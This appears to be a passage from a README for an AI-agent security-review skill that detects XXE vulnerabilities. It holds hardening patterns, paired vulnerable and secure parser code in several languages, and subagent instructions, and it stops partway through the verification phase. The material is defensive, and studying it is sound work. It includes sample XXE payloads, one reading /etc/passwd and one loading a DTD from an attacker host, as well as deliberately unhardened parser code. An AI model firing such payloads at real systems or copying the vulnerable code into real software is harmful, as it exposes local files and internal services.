Documentation
README
XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).
Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.
What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.
What XXE IS
- XML parsed with external entity resolution enabled by default and no explicit hardening applied
SYSTEMentity declarations that referencefile://orhttp://URIs:<!ENTITY xxe SYSTEM "file:///etc/passwd">- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs:
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; - XInclude injection when XInclude processing is enabled
- SSRF via XXE: using
http://orhttps://external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
What XXE is NOT
Do not flag these as XXE:
- XSS via XML: XML data rendered as HTML without escaping — that's XSS
- SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
- XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
- Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g.
defusedxmlin Python,nokogiriwith default settings in Ruby for untrusted input)
Patterns That Prevent XXE
When you see these patterns, the parser is likely not vulnerable:
1. Disabling DTD / external entities (Java DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
2. Disabling external entities (Java SAX)
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. Disabling external entities (Java StAX / XMLInputFactory)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
4. Python — defusedxml (always safe)
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
5. Python — lxml with resolve_entities=False
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
7. .NET — XmlReaderSettings with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
8. Node.js — xml2js (safe by default in v0.5+)
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
Vulnerable vs. Secure Examples
Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
Java — DocumentBuilder (DOM)
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
Java — SAXParser
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
Java — XMLInputFactory (StAX)
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
PHP — SimpleXML / DOMDocument
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
.NET — XmlDocument / XmlTextReader
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
Go — encoding/xml
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
Execution
This skill runs in three phases using subagents. Pass the contents of sast/architecture.md to all subagents as context.
Phase 1: Find Vulnerable XML Parsing Sites
Launch a subagent with the following instructions:
Goal: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to
sast/xxe-recon.md.Context: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.
What to search for — vulnerable XML parsing patterns:
Flag any XML parsing call where there is no adjacent, paired hardening (disabling DTD / external entity features). You are not yet tracing whether the input is user-controlled; that is Phase 2's job.
- Python — stdlib parsers (flag unless defusedxml is used as a drop-in):
xml.etree.ElementTree.parse(...),ET.fromstring(...),ET.iterparse(...)xml.dom.minidom.parseString(...),xml.dom.minidom.parse(...)xml.sax.parseString(...),xml.sax.parse(...)xmltodict.parse(...)(backed by expat — generally safe for entity expansion, but flag for review)- Python — lxml (flag unless
resolve_entities=Falseandno_network=Trueare set):
etree.parse(...),etree.fromstring(...),etree.XML(...)etree.XMLParser(...)withoutresolve_entities=Falseobjectify.parse(...),objectify.fromstring(...)- Java — flag any instantiation of these without the matching hardening features set:
DocumentBuilderFactory.newInstance()→newDocumentBuilder()→parse(...)SAXParserFactory.newInstance()→newSAXParser()→parse(...)XMLInputFactory.newInstance()→createXMLStreamReader(...)TransformerFactory.newInstance()→newTransformer()used with XML sourceSchemaFactory.newInstance(...)→newSchema(...)- Spring:
MarshallingHttpMessageConverterwithJaxb2Marshallerif entity expansion not disabled- PHP — flag any of these without
libxml_disable_entity_loader(true)immediately before (PHP 7.x), or withoutLIBXML_NONETflag (PHP 8.x):
simplexml_load_string(...),simplexml_load_file(...)DOMDocument::loadXML(...),DOMDocument::load(...)xml_parse(...)withxml_parser_create()SimpleXMLElement::__construct(...)with raw string- .NET — flag any of these without
DtdProcessing.ProhibitandXmlResolver = null:
new XmlDocument()followed by.Load(...)or.LoadXml(...)new XmlTextReader(...)(legacy — DTD on by default in older .NET)XPathDocument(...),XDocument.Load(...),XElement.Load(...)XmlReader.Create(...)withoutXmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }- Node.js — flag these libraries when parsing untrusted input:
libxmljs.parseXmlString(...),libxmljs.parseXml(...)node-expatparser instantiationsax.createStream(...)/sax.parser(...)— check if entity expansion is usedxml2js.parseString(...)— generally safe in v0.5+; flag only ifexplicitArrayor other options suggest an older version or entity expansion is re-enabled- Ruby — flag these when used with options that enable entity expansion:
Nokogiri::XML(input) { |config| config.noent }—noentenables entity substitutionREXML::Document.new(input)— REXML is vulnerable to entity expansion DoS; check for entity expansion usageLibXML::XML::Document.string(input)— check entity options- Go — flag third-party XML libraries that support entity resolution:
github.com/beevik/etreeusage — check if network/entity resolution is configured- Standard
encoding/xmlis generally safe (does not resolve external entities) — flag only if combined with custom entity handlingWhat to skip (these are safe patterns — do not flag):
import defusedxmlused as the XML parser (Python)etree.XMLParser(resolve_entities=False, no_network=True)(lxml)- Java
DocumentBuilderFactorywithdisallow-doctype-declfeature set totrue- Java
XMLInputFactorywithIS_SUPPORTING_EXTERNAL_ENTITIES = false- .NET
XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }- Nokogiri default usage without
noentor other entity-expansion options- Parsing of fully static, bundled, non-user-influenced XML files (e.g. reading config from disk at startup with no user input involved)
Output format — write to
sast/xxe-recon.md:# XXE Recon: [Project Name] ## Summary Found [N] XML parsing sites without explicit external entity hardening. ## Vulnerable Parsing Sites ### 1. [Descriptive name — e.g., "lxml.etree.fromstring without resolve_entities=False in upload handler"] - **File**: `path/to/file.ext` (lines X-Y) - **Function / endpoint**: [function name or route] - **Parser / library**: [e.g., lxml etree / Java DocumentBuilder / PHP DOMDocument] - **Missing hardening**: [what protection is absent — e.g., "resolve_entities not set to False", "disallow-doctype-decl feature not set"] - **Input variable(s)**: `var_name` — [brief note on what it appears to be, e.g., "HTTP request body" or "file upload content" or "unknown origin"] - **Code snippet**:[the XML parsing call and surrounding context]
[Repeat for each site]
Between Phases: Check Recon Results
After Phase 1 completes, read sast/xxe-recon.md. If the summary states zero vulnerable parsing sites were found (or the file contains no entries under "Vulnerable Parsing Sites"), do not launch Phase 2 or Phase 3. Instead, write the following to sast/xxe-results.md, delete sast/xxe-recon.md, and stop:
No vulnerabilities found.
Only proceed to Phase 2 if at least one vulnerable parsing site was identified in the recon output.
Phase 2: Verify — Trace User Input (Batched)
After Phase 1 completes, read sast/xxe-recon.md and split the entries under "Vulnerable Parsing Sites" into batches of up to 3 sites each (use the numbered ### sections: ### 1., ### 2., etc.). Launch one subagent per batch in parallel. Each subagent traces taint only for its assigned sites and writes results to its own batch file.
Batching procedure (you, the orchestrator, do this — not a subagent):
- Read
sast/xxe-recon.mdand count the numbered site sections (### 1., ### 2., etc.). - Divide them into batches of up to 3. For example, 8 sites → 3 batches (1-3, 4-6, 7-8).
- For each batch, extract the full text of those site sections from the recon file.
- Launch all batch subagents in parallel, passing each one only its assigned sites.
- Each subagent writes to
sast/xxe-batch-N.mdwhere N is the 1-based batch number. - Identify the project's primary language/framework from
sast/architecture.mdand select only the matching examples from the "Vulnerable vs. Secure Examples" section above. For example, if the project uses Java with DocumentBuilder, include only the Java-related examples. Include these selected examples in each subagent's instructions where indicated by[TECH-STACK EXAMPLES]below.
Give each batch subagent the following instructions (substitute the batch-specific values):
Goal: For each assigned vulnerable XML parsing site, determine whether a user-supplied value reaches the XML parser. Our goal is to find XXE vulnerabilities. Write results to
sast/xxe-batch-[N].md.Your assigned parsing sites (from the recon phase):
[Paste the full text of the assigned site sections here, preserving the original numbering]
Context: You will be given the project's architecture summary. Use it to understand request entry points, middleware, file upload handlers, and how data flows through the application.
XXE reference — What to look for:
User-controlled XML must not reach a parser that allows external entity resolution without hardening. Trace each site's XML input back to its origin.
For each parsing site, trace the XML input variable(s) backwards to their origin:
- Direct user input — the XML content is assigned directly from a request source:
- HTTP request body (especially
Content-Type: application/xmlortext/xmlendpoints):request.body,req.body,request.data,php://input,HttpContext.Request.Body- File uploads:
request.FILES,req.file,multipart/form-datafields- HTTP query params or form fields containing XML snippets
- URL path parameters that reference XML resources
- Indirect user input — the XML is derived from user input through transformations or intermediate steps:
- A file path supplied by the user is used to open and parse a file
- A URL supplied by the user is fetched and the response is parsed as XML
- User input is embedded into an XML template before parsing (potential injection into the XML structure itself)